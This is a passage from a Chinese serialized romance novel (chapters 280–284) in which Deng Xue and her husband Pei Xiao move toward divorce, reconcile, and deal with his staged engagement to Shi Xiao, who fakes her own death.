“我猜你晚饭,肯定是凑合,便去良记餐厅,打包了一些家常菜,他家的菜品还算好吃。”
“谢谢。”她将行李箱,放到一旁。
他身上寒意冷重。
外套上染着这个季节独有的气息。
环视四周。
“家里也没有暖气,要不去我那儿……凑合几天?”
邓雪想都没想的拒绝,“不,不用,让媒体看到,会以为我是小三的,只要有床有被,我就可以睡,我不怕冷。”
“我和她……”他想解释一下,他们的关系。
又觉得无从出口。
“……邓雪,我和她其实……”
“你不用解释的。”她还是原来的想法,“裴啸,你跟任何人发生任何关系,都不必跟我讲,我们说起来是夫妻,其实……连男女朋友都算不上,没有感情,没有激情,淡的跟白开水似的……”
她自嘲的笑着,“……不,还不如白开水呢,白开水起码还是熟的,我们算是自来水吧,生的厉害,这样的婚姻,存在没有任何意义,不是吗?”
“你是这么认为的?”他拧眉。
邓雪毫不掩饰,“是。”
“所以,坚定的要选择结束这段关系?”
邓雪依然点头,“是。”
“可我不愿。”他的想法也很坚定,“邓雪,你告诉我,你是不是有男朋友了?”
“我没有。”他不能给她扣上对婚姻不忠的帽子。
婚姻确实是不幸福。
也很生疏。
但她做人的底线还是有的。
只要有这层关系在,她不可能在外面乱来。
“裴啸,如果你觉得给我扣上这样的帽子,再去离婚,对你来说,心里能好过一些,也不是不可以,但我确实没有什么所谓的男朋友。”
他走向她。
一步步的逼近。
她不安的后退着,解释,“我真的没有男朋友,我不知道你为什么会有这样的想法,我又不是你……”
“你对我有怨气,对吗?”他将她逼到墙角,迫使她望着自己,“邓雪,过去,现在,所发生的所有事情,都是事出有因,你能懂吗?”
邓雪摇头。
她不懂豪门行事风格。
她穷苦孩子出身,她眼中的结婚,就是生活在一起,哪怕没有感情,也可以慢慢了解,先婚后爱。
而不是拿着一纸结婚证。
却看着他在跟别的女人秀着恩爱。
也不是你在天南,我在海北,却说婚姻还可以持续。
这很**。
“裴啸,我们终归不是一个世界的人,你更适合施小姐那样的人,而我更适合……做平头老百姓家的媳妇,我们走错了,就要扭转这个错误,没必要纠缠什么苦衷不苦衷的。”
“真的非要跟我一刀两断?”
他眼中有痛苦,也有不舍。
真正做取舍的时候,他心里这么的难过,“就不能再给我点时间吗?”
“裴啸,我……真的祝福你。”
她放手了。
这
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个本来就不应该属于自己的男人。
裴啸最终松口,答应考虑离婚的事情。
邓雪不希望无止境的等下去。
还是去**提起了诉讼。
回到海城后。
她听到的第一个消息,就是裴施两家的联姻。
订婚宴搞的轰轰烈烈。
全江城的头条,都是两家的新闻。
邓雪看着屏幕里男人的笑脸,挺伤感的。
婚姻对于女人来说是保障。
可这上不了台面的婚姻,跟阴沟里的老鼠,有什么区别?
她不怪裴啸。
只怪自己没家世没背景,没有可以帮上他的能力。
罢了。
人这一辈子,谁还不遇上点糟心的事儿。
……
中秋节。
公司里放假。
离婚案已经受理。
邓雪的心情不好也不坏。
家里就两口人,谈不上团聚,但她还是去买了一些食材,跟母亲一起庆祝节日。
门铃响起。
邓雪去开门。
“一威?”邓雪惊喜,“天哪,你怎么……找到我家的?你也太神通广大了。”
吕一威风尘仆仆,手上拎的全是节日礼品,“鼻子下面是张嘴,我可以打听啊,就是想给你和阿姨一个惊喜。”
“阿姨。”吕一威喊人。
邓母从厨房里出来,看到吕一威,一时也没有认出他,“这位是……”
“阿姨,我是一威啊,小雪的同桌,那个小胖子。”吕一威笑的见牙不见眼。
邓母想起来了,“一威啊,你可是大变样了,怎么这么帅了?现在不胖了,反倒看起来清瘦了,个头也长高了好多。”
“阿姨,我可当你是变着相夸我呢。”
“赶紧坐,一会儿一起吃团圆饭。”
“那我可就不客气了。”吕一威像个孩子般的笑着。
邓雪招呼他坐下,给他倒了杯水,“你不会是来投奔我来的吧,吕总?”
“投奔你,不得等你离完婚了。”他端起水杯,喝了一口,“今天是中秋节,你们家那位……不跟你们吃团圆饭啊?”
“他在江城……而且,要离婚了,有必要在一起吃什么团圆饭吗?”
邓雪弯身坐到了吕一威的对面。
神色有一些黯淡。
“怎么,还是放不下?既然放不下,就不离了呗。”吕一威放下水杯,“两个人好好沟通,还有什么解决不了的?”
第280章 这段关系,只束缚住了我一个人
“我和他之间的问题,不是沟通能解决的。”邓雪抿了抿唇,不想再聊如此压抑的问题,“我记得你小时候最爱吃红烧肉来着,我跟我妈说,加一道红烧肉。”
“这你都想着呢。”
“谁叫我们同病相怜呢。”邓雪微笑着起身去了厨房。
吕一威心里暖暖的。
上学那会儿,虽然邓雪和妈妈经常被赶出家门,但她好歹有妈,有一个温暖的怀抱。
他……什么也没有。
他赚钱后的第一件事情,就是去餐馆点了份红烧肉,一直吃到吐。
可是再也找不回,那种味道了。
门铃响起。
他起身去开门。
“你……找谁?”吕一威打量着眼前的男人。
个头很高,长得很好看,跟他们这种人的区别就在于,人家这长相,一看就是个矜贵公子,有几百年豪门滋养出来的从容和优雅,而不是那种头发立起来的暴发户。
这样的人,怎么会是……“你是不是走错门了?”
“你又是谁?”裴啸蹙眉问。
“我……”
“邓雪呢?”裴啸问。
吕一威这聪明劲,马上就想到了他的身份,“你是邓雪的前夫?”
“前夫?”
“你们不是在办理离婚吗?”吕一威又好眉好眼的,将他从上到下的细细打量了一番,“你和小雪确实不太般配,怪不得小雪压力那么大。”
裴啸大概也猜到了吕一威的身份。
就是那个让邓雪变漂亮的男朋友。
女为悦己者容。
显然,自己并不是她中意的那一个。
“你是她什么人?”
面对质问,吕一威是有一点反感的,“我是她什么人,还要告诉你吗前夫哥?你这个人看起来蛮好的,怎么一副高高在上的态度,怪不得小雪不喜欢你。”
“她不喜欢我?跟你说了?”裴啸脸色难看。
吕一威不想回答这个问题,“你呢,要么进来说话,要么就离开,问那么多干什么?”
站在门口,问这问那儿的。
他能告诉啥?
裴啸将东西放下,并没有进去。
转身离开。
吕一威:……
什么情况?
脾气这么大吗?
只准他问话,别人还不能反驳几句了?
就这脾气,邓雪应该也没少受委屈。
他将裴啸拎来的东西,拿进餐厅,放到了餐桌上。
邓雪出来看到,“你又出去买东西了?”
“不是。”吕一威看着这些名贵的礼品,“你前夫来过了。”
“前夫?”邓雪立马领会,“你是说……他人呢?”
“他可能误会你和我的关系了,脸色很难看的离开了。”吕一威找了指门口,“现在这功夫,估计,刚到楼下。”
邓雪解下围裙,立马跑下了楼。
追上裴啸的时候,他刚准备驱车离开。
“裴啸。”邓雪拦在了男人的车前,气喘吁吁的,“你先别走。”
裴啸眉眼深沉。
他并未下车,只是将窗子开了半边,“还有事?”
“你……是不是误会什么了?”她边走边喘的走到他车窗边,“吕一威是我的同学,不是我找的男朋友。”
“是吗?”他冷淡的像块冰。
邓雪的成长经历告诉她,不会做苟且的事情。
裴啸这样误会她,她心里很难受。
“你不信?”
“我信与不信,对你来说,有那么重要吗?”他生气是真的,憋屈也是真的,“邓雪,你在乎过我的心情吗?你更没有听过我的解释,所以……我有必要听你的解释吗?”
“我明白了。”她后退了两步,苦笑,“我们现在的关系,确实没有解释的必要,但不管你信与不信,我在没有跟你离婚之前,我是不会跟别的男人发展关系的,这是我做人的原则。”
“原则?”他嗤笑,眉眼讥诮地睨着女人,“如果你有原则,你就不会让一个男人,在这么重要的日子,出现在你的家里,邓雪,你真的很**道。”
“我……”邓雪欲哭无泪,“……我哪儿**道了,是他自己来的,又不我请他来的。”
“这有什么区别?”
裴啸的骄傲,不允许他再纠缠下去。
既然她坚定地要离,还给他戴绿帽子,那他就决定放手了。
“就这样吧。”
裴啸驱车离开。
邓雪咬着唇,掉泪了。
他不信她,还顺带着侮辱了她。
吕一威追出来,看到邓雪在哭,忙问发生了什么。
她咬着唇,身子颤动着。
“不重要了,过去了,结束了。”
“你们两个,真的是……”旁观者虽然不知内情,但今天这事,确实是一场误会,“……要不,我去跟那位裴先生,解释一下吧?”
“不用了。”
邓雪回身,往家走。
吕一威觉得挺抱歉的。
邓母已经做了一桌子的饭菜。
邓雪心情不佳,边吃饭边走神。
手机在桌上震动起来。
是律师打来的电话。
“邓小姐,裴先生那边的律师刚刚给我打来电话,说是他同意
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协议离婚,咱们这边……是不是撤诉?”
裴啸同意离婚了。
而且不需要两个人出面。
只需要律师就可以完成。
“好,那就撤诉吧。”
“好的,那我这边跟裴先生那边的律师对接好后,到时,您只管签字就好了。”
“辛苦你了。”
挂断电话。
邓母担心地问女儿,“律师的电话吗?是不是裴啸同意离婚了?”
“是。”邓雪将手机放到桌上,继续吃饭,“他同意协议离婚了,应该很快结束这段婚姻。”
邓母可算是松了口气。
“那可真是太好了,算他还有点良心。”
“那你……开心吗?”吕一威问向邓雪,她的脸色并不好看,“我觉得,你应该跟他聊一聊。”
“不必了。”
邓雪黯然。
一度她在准备离婚的路上,觉得离婚是一种解脱。
如今,听到裴啸同意离婚的消息。
她心脏绞疼的厉害。
她与他……今后,永无交集。
怎么会不难过呢?
吕一威给她夹了菜,“先吃饭,吃完饭,我想跟你聊聊,关于你和他的故事。”
“我不想讲。”她没什么胃口。
“得讲,除非你永远不想释怀。”吕一威给邓母夹了菜,“阿姨,你今天做的红烧肉真好吃。”
“好吃,你就多吃点,一会儿你陪小雪聊聊,我就先去休息了。”
邓母放下碗筷,把空间留给年轻人。
邓雪勉强吃了几口后,去卫生间吐了。
“讲讲你的故事吧。”吕一威将水递给了邓雪,“先漱漱口。”
邓雪没觉得自己的故事,有什么可讲的。
只是轻描淡写了一句,“他跟联姻对象订婚了,他说我让我等他,我不想等了,所以才提的离婚,就这么简单。”
“你爱他吗?”吕一威一针见血的问。
问得邓雪懵了,“爱他?”
“你当初为什么嫁给他?图他的人?还是图他的钱?”
邓雪记不清了,“是他提的结婚,我……就那么稀里糊涂的同意了。”
“结婚他提的,离婚你提的,所以……他是爱你的,对吧?”
邓雪不同意这样的结论,“如果他爱我,怎么会跟联姻的对象订婚呢?他并不爱我。”
“如果一个男人,对一个女人,没有一丁点的喜欢的话,应该不会用结婚这么严重的关系,来束缚住两个人。”
邓雪笑了,涩苦,“这段关系,只束缚住了我一个人,对他并没有影响。”
第281章 我算什么?算小丑吗
“你在委屈吗?”吕一威问。
邓雪笑着,眼眶红得厉害,“我不应该委屈吗?不管他跟我结婚的原因是什么,我们是合法夫妻,他这样跟别的女人订婚,甚至最后可能还会办婚礼,我算什么?算小丑吗?”
不。
她再卑微,也接受不了这样的伤害。
邓雪闭了闭眼,有泪掉下来,“一威,他说他有苦衷,可他从来不说他的苦衷是什么,我就算有天大的本事,也猜不到他到底在经历什么,算了,也没必要了解了,我估计这几天,就会把离婚协议签了,到时一刀两断,省得烦心了。”
她累了。
她疲于经营这样的关系。
吕一威也没再继续深挖下去。
一段感情,平白无故的开始,莫名其妙的结束,受伤的两个人中,自然是女孩会比较重一些。
“既然你已经决定了,就别伤心了,打起精神来,还有比爱情更重要的事情……”他笑着,“……比如说赚钱。”
他们都是穷苦孩子来的。
没有什么,比把钱握在手里,更有安全感。
“你说的没错,我们要努力赚钱,然后过上自己要想的生活,人生不是非得要有伴侣,但一定少不了朋友。”
吕一威赞成。
只是他,无法回避,她的强颜欢笑。
吕一威离开的时候,差不多有十点钟。
邓雪将他送下楼。
看着他的车子离开,她裹了裹身上母亲为她织的粗线披肩,准备出去透透气。
海城晚上的风,有一股海水的味道。
她住的小区外面不远,就是海水和沙滩。
这个季节,海边的风很凉,偶尔会见到有情侣和散步的老人。
她找了个高处,坐下来,将自己裹紧,吹着海风。
晕黄的路灯,落到头顶,有一层淡淡的光圈,她像个孤独的小孩。
几个醉汉,边喝边唱,沿着沙滩,一路高歌。
人有时候,醉着比醒了好。
邓雪没有谈过恋爱,这次,她伤的很深。
可她无人诉说。
她想装作无事的模样,可是心早就碎地拼凑不起来。
“美女,要不要一起喝一杯?”醉汉冲她吹口哨。
邓雪只是淡淡的笑了笑,“有酒吗?”
“你还真喝啊?不怕我们是坏人?”醉汉冲邓雪扔了两听啤酒,“酒你可以喝,但我们不陪,我们可是好人。”
几个醉汉勾肩搭背,有说有笑的离开。
邓雪开了扔过来的啤酒。
喝了一大口,透心凉,“谢谢你们的酒。”
风裹着海浪。
像巨兽的咆哮。
邓雪酒量不错的,这次喝了两听啤酒,却有点上头。
附近的工作人员,发现她时,她已经睡着了,全身冰凉,像要是死掉。
打了急救电话。
将她送去了医院。
医院里要救人,要收费,只能从她的通讯录里找人来帮忙。
“喂,你是邓雪的老公吗?她在医院里呢,麻烦你过来,把住院费交了。”
接到护士电话的裴啸,稍稍有些错愕。
现在时间,是凌晨三点。
邓雪怎么会在医院里?
“她怎么了?”
“她在海边喝酒睡着了,可能是冻着了,现在还是昏迷状态,你赶紧过来吧,不是我说你,人大晚上的不回家,就不知道找找吗?哪有你这样当老公的。”
护士说了医院的地址,便挂断了电话。
裴啸穿了衣服,开车赶往医院。
找到了给他打电话的护士,交了住院费。
“你就是她老公啊?别怪我多说几句啊,就算是吵架,也不能那么晚了不回去,不管不顾的,好在她命大,这要是命小啊,你来交的就不是住院费了,长点心吧,做人不能这样的。”
裴啸没反驳,只是点头,“我会注意的,她人现在怎么样?”
“已经推去病房了,不过还没醒,你去看着她吊水吧。”护士报了病房号,“403病房。”
“谢谢。”
裴啸大步走向病房。
病房是二人间。
除了邓雪还有一个老婆婆。
看到裴啸进来,她小声说,“她药劲还没过去呢,像是在做梦,总是哭,不知道是不是受了委屈,这夫妻啊,没有隔夜仇,等她醒了,好好哄哄。”
裴啸走到病床前。
她的枕头确实是湿了一大片,眼尾还挂着泪珠,睫毛也湿嗒嗒的。
修长的手指,轻轻的拭了拭她眼角的泪。
顺手又给她掖了掖了被子。
邓雪总是一阵阵的抽泣。
眼角的泪就没的断过。
裴啸要说心里无感,那是骗人,可她为什么这么难过呢?
要离婚的是她。
诉讼的也是她。
有了新人的还是她。
他说过他有苦衷,可她坚持不给他机会,是她非要结束的。
为什么,她在哭?
“小伙子,你们是不是吵架了?”老婆婆轻声。
裴啸抿唇,“算是吧。”
“多好的姑娘呀,就算她跟你吵几句,也不能扔下不管她,你看她哭的多伤心,她心里是爱你的,夫妻之间,哪有什么说不开的,不要等到以后没有挽回的机会了,再去后悔,那时啊,悔断肠也没有用喽。”
道理裴啸不是不懂。
在感情里,他喜欢掌控。
通俗点讲,他不喜欢把自己尽在掌握的事情,拿出来,让对方跟着操心。
与施家的婚约,不过是一场戏。
他与施晓有约定。
无关乎爱情,也无关乎两家的情谊。
只关乎她的自由,和一个对他来说,年入几十亿的生意。
施晓不喜欢男人。
她有爱人,在国外,已经登记结婚。
但作为独生女,她无法抵抗施父对她的摆布,找上裴啸,她很坦诚的告诉了他这一切。
当裴啸告诉她,他跟她的情况一样时。
她笑了,“裴啸,看来我们挺有缘分的,这样吧,你陪我演一出恩爱的戏码,我把我手中码头的生意给你,到时我假死,你脱身,我们两全其美,你觉得怎么样?”
“为什么?”裴啸不懂。
施晓很悲情的表示,“如果我不死,我爸还会把我许配给别人,裴啸,你是我假死的见证人,前提是你必需成为我最亲密的人,才会让我爸相信,我确实已经死了,到时,你得到你想要的,也可以给你的夫人一个交代,我想忘于天涯。”
“那得看你的筹码,够不够我陪你演这场戏。”
施晓当即过户了她手下持有的,江城电视台的股份,以及几个很有分量的合同。
最后将码头的生意,全部改成了裴啸的代理人身份。
几个百亿的利润放在裴啸的面前。
他说不动心是假的。
施晓只有一个要求,在她离开江城前,不准向任何人,说破他与她的真实关系。
这就是裴啸的苦衷。
邓雪如果知道,应该会理解。
但他不想这么做。
他希望她可以给他时间,可她不愿意。
老婆婆看裴啸一直沉默。
便又轻轻的说道,“小伙子,有些人啊,失去了至爱后,就再也找不到适合自己的那个人了,婆婆是过来人,其中的苦痛经历的太多了,珍惜眼前人吧。”
第282章 自卑带来的胆小
裴啸默默的听着。
视线一直落在邓雪那眼尾的泪珠上。
她应该委屈。
是他没有给足她安全感。
既然选择跟她结婚,为什么又要让她哭呢。
长路漫漫。
邓雪输了五瓶的液,裴啸一晚没睡。
清晨。
邓雪醒来时,感觉头疼的厉害。
昨天,她只喝了两听啤酒就醉了,她以为自己会冻死在沙滩上。
明显没有,她还活着。
眼前是一室的白。
一只拎着暖水瓶的老婆婆,正站在她的面前,慈祥的望着她。
“丫头,你醒了?”
邓雪挤了抹笑,“婆婆你好,我这是……”
“你昨天送来的时候,像只冻僵了的小兔子,还好,你年轻恢复的快,挂了一晚上水,现在好多了吧?”
面对老婆婆的善意关心。
邓雪心口暖暖的,“好多了。”
“那就好。”老婆婆微笑着点头,“你老公啊去跟医生聊你的病情去了,马上就会回来,你再睡一会儿吧。”
邓雪诧然。
老公?
什么老公?
“我……老公?”她哪来的老公。
“对啊,你老公守了你一晚上,眼睛都没闭一闭,你是哭了睡,睡了哭,他净给你擦眼泪和鼻涕了。”
老婆婆笑着摇头。
拎着暖水瓶出去了。
邓雪还在纳闷的时候,裴啸一步迈了进来。
她看到裴啸,懵了那么两秒。
他……怎么会在这儿?
不会是她喝醉了,**家电话了吧?
邓雪闭起眼睛,抓了两把头发,这也太尴尬了,搞的好像她有多不想离婚一样的。
“头疼?”他问。
邓雪尴尬的捋了捋头发,摇头,“没,不,你,我……,你……怎么在这儿?”
“你欠了药费,护士从你手机上,随意挑了个人,就打给了我。”裴啸说的极为平淡。
平淡的比水还无味。
邓雪随即明白,拿出手机来,给裴啸转钱,“哦,这样啊,花了多少,我现在转给你。”
“不多,算了。”
邓雪抬眸,“不能算了,我怎么能让你花钱呢,多少?”
“我说算了。”他声音不算很大,却清晰的很有震慑力。
邓雪抿了下唇,这才放下手机,“哦。”
那她一会儿去问护士吧。
“以后别去海边喝酒了,天气渐凉,还是要注意身体。”他将几盒药,放到床边柜上,“这药,一次三次,一次一片。”
“谢谢你,麻烦你了。”邓雪客气的说。
裴啸没说话。
就是那样淡淡的看着邓雪。
半晌。
他说,“你先睡一会儿吧。”
“不,不用了,我想着出院来着,我没事了,你……谢谢你啊。”邓雪见裴啸,总有一种莫名其妙的紧张,还结巴,她真的对自己都无语了,“那个,我收拾一下,我去办理出院。”
裴啸没劝。
看着邓雪一会儿丢一只鞋。
一会儿头扎得乱七八糟。
一会儿又找不到自己的手机。
像个**手毛脚的小丫头。
去办理出院时,护士告诉她,去窗**费。
结果,费用没交成,还退了她一笔钱,“怎么退这么多啊?”
“昨天交的住院费。”窗口工作人员告诉她。
看着手机里的数字,她连同住院的费用,一起给裴啸转到了他的账户上。
钱还上了。
人情还是欠了一点。
等机会,再还吧。
办理完后,她一转头,就看到裴啸走了过来,“裴总你……也要回去啊?回江城吗?我就不送了,那个昨天律师跟我讲了,说你同意协议离婚了,谢谢你啊,你放心,我什么也不会要你的,一切交给律师,我一定会很痛快的签字的,不会影响你和施小姐的。”
邓雪一口气说了太多的话。
有点干噎。
但还是挤了抹比哭还难看的笑,“不好意思啊,今天麻烦你了,日后,有什么需要我的地方……”
“有恩得当场报,日后……日后也行。”他说着牵起她的手腕往外走,没有征得她的同意,便将她带到副驾驶,系上了安全带。
邓雪有点傻的,看向弯身坐进驾驶室的男人。
“你……要送我回去啊?”
“嗯。”他一脚油门踩了出去。
邓雪也不敢跟他讲话,她有一点怕裴啸的,无论是正常的时候,还是吵架的时候。
可能是自卑带来的胆小。
不重要了。
很快,两个人就结束关系。
以后见到面,他只会是YY的客户,而她在海城,以后想见他一面,应该也没那么容易。
意识到,
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有一些人,马上就要在自己的世界消失。
邓雪的心情很落寞。
她垂着脑袋。
指尖轻轻的抚着手背上胶布,揭开,再合上,再揭开。
分别总是难过的。
但时间能治愈一切,她会好起来的。
车子停好。
邓雪解开安全带,下车,一抬眸,发现不是她的家。
是海城大酒店。
“这里是……”她瞬间明白了,裴啸应该是住这儿,没关系,这里打车也很方便的,“……那,我就先回去了。”
她转身要走。
被他扣住胳膊,带到了身前,“不是说要报恩吗?正好,我有件事情要你帮忙,你跟我上来一趟。”
邓雪一脸懵。
这么巧的吗?
马上就可以把人情还了?
“哦。”
通常情况下,邓雪都很乖巧懂事。
再加上她谨小慎微的性格,在裴啸面前,就像一只要等着被宰的小羊羔了,总是缩着脖子。
他其实不喜欢她,总是这样地收着自己。
他希望,她在自己面前,可以做真正的自己。
很可惜,他没有见过她那一面。
电梯门打开,邓雪刚迈进去,电梯里就呼呼啦啦的进了个施工队。
空间不大,挤了人和机器。
她被控在一个小角落里。
如果不是裴啸在她身前,替她挡着这突如其来的一切,她现在就已经被压成泥了。
“谢谢啊。”她转过身去,面对面的太尴尬了。
裴啸微微俯身,将唇靠近她的耳朵,“你除了会说谢谢,对不起,抱歉,你没别的词了是吧?你们大学老师是文盲?”
他离她太近。
她的后背灼得厉害。
耳根不自觉也烧了起来,“我,我不说谢谢,说什么?”
“我们还没离婚呢,邓总。”他一口咬在她的耳垂上。
邓雪发出羞耻的声音。
有几个搬着工具的工人,回头看了她一眼。
她想找条地缝钻进去。
立马双手捂住了耳朵,咬着唇,不再说话。
楼层到了,工人们一股脑的下了电梯。
空间变大,她这才偷偷的呼吸了一口新鲜的空气。
‘叮。’
电梯门再次打开。
裴啸拽着邓雪的手腕,拐弯,刷卡,进房间,将她抵在门板上,与她接吻。
第283章 你们可真敢约
呼吸纠缠。
她的衣扣被打开,他的唇放肆。
“裴啸……”她想推开他,小手却缠紧了他的脖子。
他握住她的腰,往身上一提,她的腿便缠在了他的腰上。
裴啸边吻着邓雪,边往里走。
二人跌进大床。
干柴烈火,不眠不休。
……。
事后,他靠在床边吸烟。
她像个做错事的孩子,只敢从被子里露出两只眼睛,可怜巴巴的。
邓雪脑海里,就两个字,偷情。
“我们……这样,是不是挺对不起施小姐的?”她声小如蚊。
裴啸淡淡的看了她一眼,“怎么会对不起她?”
“你不是已经跟她订婚了,我们……又鬼混在一起,这样真的好吗?”她翻过身去,背对着裴啸,全是自责,“都怪我,没有控制好自己。”
裴啸气笑,将指尖的烟卷摁灭,“你脑子里面到底是什么?浆糊吗?邓雪,我们现在还是合法夫妻,上床不是天经地义的事情?”
“你不是已经答应要协议离婚了,你还……睡我。”最后两个字,她咬的模糊不清的,“反正,这事,咱们两个都有责任。”
“生个孩子吧,生了孩子,你就不会胡思乱想的。”他摁住她的肩,重新吻上她的唇。
淡淡的烟草味,过渡到她的口中,她受到刺激般地推开了他,“你说什么?生个孩子?我们都要离婚了,为什么还要生孩子?裴啸,不是会施小姐不想生孩子……我不是你们的孕袋子。”
“生孩子,你也能联想到别人那儿去,你……”他握着她的下巴,跟她接吻。
他很少在这个时候,说一些甜言蜜语。
但他会很在意她的感觉和反应。
当他发现,邓雪又不在状态时,随即停了下来,“你又在想什么?”
“我在想,你刚刚说的事情。”
刚刚裴啸没有用措施。
她单纯地认为,酒店里没有那玩意。
她还想,明天一早,她去买药吃。
她没有想过,他是想让她怀孕,当他和施晓的移动子宫。
这对她来说,是不可接受的事情。
“裴啸,我是不是很好欺负?是因为我没有什么亲人,欺负了我,也不会有人找你的麻烦,对吗?”
裴啸拧眉。
这怎么还越说越离谱。
“谁欺负你了?”
“你想让我给你们生孩子,这还不算欺负我吗?”她眼眶泛起红,睫毛也开始变得潮湿。
他抬手握住她的下巴,捏着她的脸,一字一顿地说,“我说的生孩子,是生我和你的孩子,不是用别人的卵子种到你的肚子里,是我们结合,何来别人的孩子一说?”
“可我们明明要离婚了。”
“不提离婚两个字,不能活是吗?”他咬着她的唇,让她吃痛,“邓雪,我突然不想离了,我觉得我们这样挺好的,你说是吗?”
邓雪诧愕。
不离了?
怎么又不离了呢?
“为,为什么?”
“因为,我不想……放过你了。”他的唇粘上她的唇,纠缠,碾压,掠夺。
他想让她知道。
他是很在意这段婚姻的。
邓雪很茫然。
彷徨的不知道,该不该回应他说的这句话。
他说,他不想放过她了。
是不是他……爱上她了?
不。
这样太自恋了。
他是个男人,男人通常是理性的,哪有那么多的情情爱爱的。
邓雪想不通。
也想不明白。
“你和施小姐,什么时候结婚啊?”她在他动情的时候,突然问了这样的问题。
他粘在她锁骨上的唇,蓦地停了下来,“就非得在这种时候,问这种扫兴的问题。”
“我……我想知道。”
“不结婚,过段日子她就**。”他是真的很不想,跟邓雪聊施晓的事情。
但这次,他想跟她讲一点,“邓雪,我和她只是逢场作戏,你乖乖的等着我,等她**,我就带你去见父母,好吗?”
死?
为什么会是**呢?
邓雪觉得自己现在像个**,无法理解中国话。
“我,我怎么听不懂,你在讲什么?”
“你不用懂,你只要记得,我心里有你,我想跟你很好的走下去,前提是,你不要给别的男人机会,就比如说,今天在你家里出现的那个男人……”
裴啸的话还未完全说完。
邓雪就急着解释,“我和他没有关系,他是我的初中同学,我们两个小时候的身世都很可怜,同病相怜的,她来看望我和我妈,我总不能把人赶出去,你说是吧
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?”
“你们就没有点……小约定什么的?”
裴啸是男人。
他太了解男人。
这话问得邓雪一阵心虚。
她吱吱唔唔的。
他便知道,肯定是有了,“约定什么了?”
“没约定什么。”她不敢看他。
她这个人一撒谎,眼睛先出卖她。
裴啸捏着她的双颊,质问,“说,约定什么了?”
“也,没什么,就是说,离婚了,我们两个可以一起……凑合过。”她知道裴啸听了这话,指定会生气,“你别生气啊,我们这不是还没离婚嘛,没离婚就啥事都没有。”
“你们可真敢约啊,是不是还约了,等我**,分我财产?”
邓雪一个劲的摇头,“哪能啊,你的财产又不会给我,我们怎么分啊,没有,绝对没有这事。”
他望着她的眼睛。
似乎是想找一些破绽,但她太真诚了,真诚的像个小傻子一般的。
“我信你。”
邓雪有点感动,他说他信她。
可她好像没有信过他。
这点上,他比她强。
“裴啸,你和施小姐有感情吗?”
“没有。”
“那你们订婚不是因为爱情,对吗?”
“不是因为爱情,我不爱她,她也不爱我。”他只能说到这儿了,“小雪,如果你肯信我,就给我个机会,我和她的事情,马上就能有个结局,好吗?”
“那……你们睡过了吗?”身为女人,心里还是在意这个的,“……我的意思是,在我们婚姻期间,你们有没有发生过关系,我……还是,不想被背叛的。”
“当然没有,在婚姻期间,我除了你,没有跟任何一个女人睡过,逢场作戏,指的不是上床,而是虚与委蛇。”
道理她懂。
可是男人的逢场作戏,很大一部分,是有女人穿插其中的。
“我可以信你吗?”
“你愿意信我吗?”他指腹轻轻的摩挲着她微肿的唇,“小雪,如果你愿意了解我,肯无条件的相信我,支持我,就会知道,我这个人,一辈子都不会出轨。”
“可是我……太平凡了,而你身边的女人又都那样的优秀……”她没有能力,也不敢自诩,她就是裴啸的太太这件事情,“……我只是对自己没有信心而已。”
第284章 嘴跟淬了毒似的
“你也很优秀,你现在也很漂亮,你不比任何人差,至少,比施晓强多了,她是个恋爱脑,不思进取,所以……我们才能谈成生意。”
好了。
他说得够多了。
如果她够聪明就不会再问下去。
邓雪浅浅点头。
靠在他的胸口上,“我其实,还挺好哄的对吧。”
“有时候吧。”他握住她的下巴,跟她接吻,“那我们继续?”
“那我真的可以怀个宝宝吗?”
她其实也挺喜欢小孩子的,但她又觉得感情不稳定。
并且。
她和裴啸了解的还远远不够。
贸然生个孩子,对彼此,对孩子都不负责任。
“算了,孩子的事情,以后再说吧,我现在工作也挺忙的。”她立马又收回了自己的问话。
裴啸望着她的眼睛,很认真地说,“身体是你自己的,什么时候要生,生几个,你说了算,我没有意见。”
“嗯。”
她相信他说的是真的。
……
离开海城前,裴啸又去了趟邓雪的家里,跟邓母见了一面。
邓母对这个女婿,有很深的距离感。
碍于女儿与他的关系,深的没聊,浅的也没聊几句,找了个借口,去休息了。
裴啸回江城后。
跟邓雪的信息发的,比往前要多一些。
但两个人都忙,静下心来,聊聊天,沟通的时候还是少。
施裴两家忙着结婚的事情。
施晓和裴啸,经常被安排到一起,挑选结婚用的东西。
施晓很好奇裴啸的老婆是谁。
“你把夫人保护的很好啊,只知道你结了婚,人,怎么一次也没有见过?”施晓想着离开前,见裴啸的太太一面,“要不,约不出来,一起喝个下午茶?”
“她不在江城。”裴啸淡道。
施晓讶然,“不在江城?你们两地分居啊?没必吧,为了我?”
“她有工作。”裴啸淡瞥着她,“谁跟你似的。”
施晓又被瞧不起了。
裴啸的嘴,挺毒的,她经常在想,是哪个女人不开眼看上他了,“现在这个太太应该是只小白兔吧?我听说,你以前那个女朋友,可是很凶的。”
“少打听。”裴啸不聊私事。
施晓讨了没趣,聊起了自己,“后天,我就要‘死’了,到时,你就自由了,但是裴啸,你有没有想过,你们裴家会不会接受你那位太太,如果他们再强行给你安排一个联姻对象,你会怎么办?”
裴啸抽了根烟,递到唇上。
灰青色的烟雾后面,是孤傲倔强的俊脸,“跟你联姻也是意外,如果不是那百亿的利润,你觉得我和你,能坐在这儿?”
“难道在婚姻方面,你们裴家就一点压力,都没有给到你吗?”施晓不信。
裴啸只吸烟,话总是不愿多说。
直到一颗烟全部吸完,他才淡了句,“没人能左右我,事业如此,婚姻也是如此,除非我自己愿意。”
“那你比起你妹来,格局可是差太远了,她可是为了你们裴家,联了两次姻。”
施晓撇嘴。
如果把她换成裴吟,她是不愿的。
凭什么哥哥可以为所欲为,她却不行。
裴啸轻笑,“说的好像你格局很大似的,格局这么大,别假死啊。”
“裴啸,吃眼镜蛇了吧你,嘴跟淬了毒似的。”施晓翻白眼。
二人私下在一起。
通常是这样的情形。
要么没话说,要么说几句就吵翻天。
婚礼准备的差不多的时候。
施家传来了施晓的死讯。
媒体报道说,施晓台风天出门,不慎被卷到了入海口,人大概率是没了。
虽然漏洞百出。
但有一段施晓被卷入风暴中的视频为证。
悲伤过度的施家,也就接受了这个结局。
此事发生。
之前传的裴家克人的谣言,就天天在头条上挂着。
连已经成为过去式的陆家,再次被重新提及。
更是有有记者,不分白天黑夜地去袁家堵袁枫。
都想知道,袁枫害不害怕,自己很快死掉。
“袁总,你娶了裴家的女儿后,身体感觉怎么样啊?”
“我看你最近精神不太好,人也瘦了许多,是不是身体报恙啊?”
“袁总,你的婚姻生活幸福吗?听说裴家小姐吸人精气,真的假的?”
“袁总,有没有跟裴家小姐离婚的打算?其实,我们大家都是支持你的。”
袁枫被问得头疼。
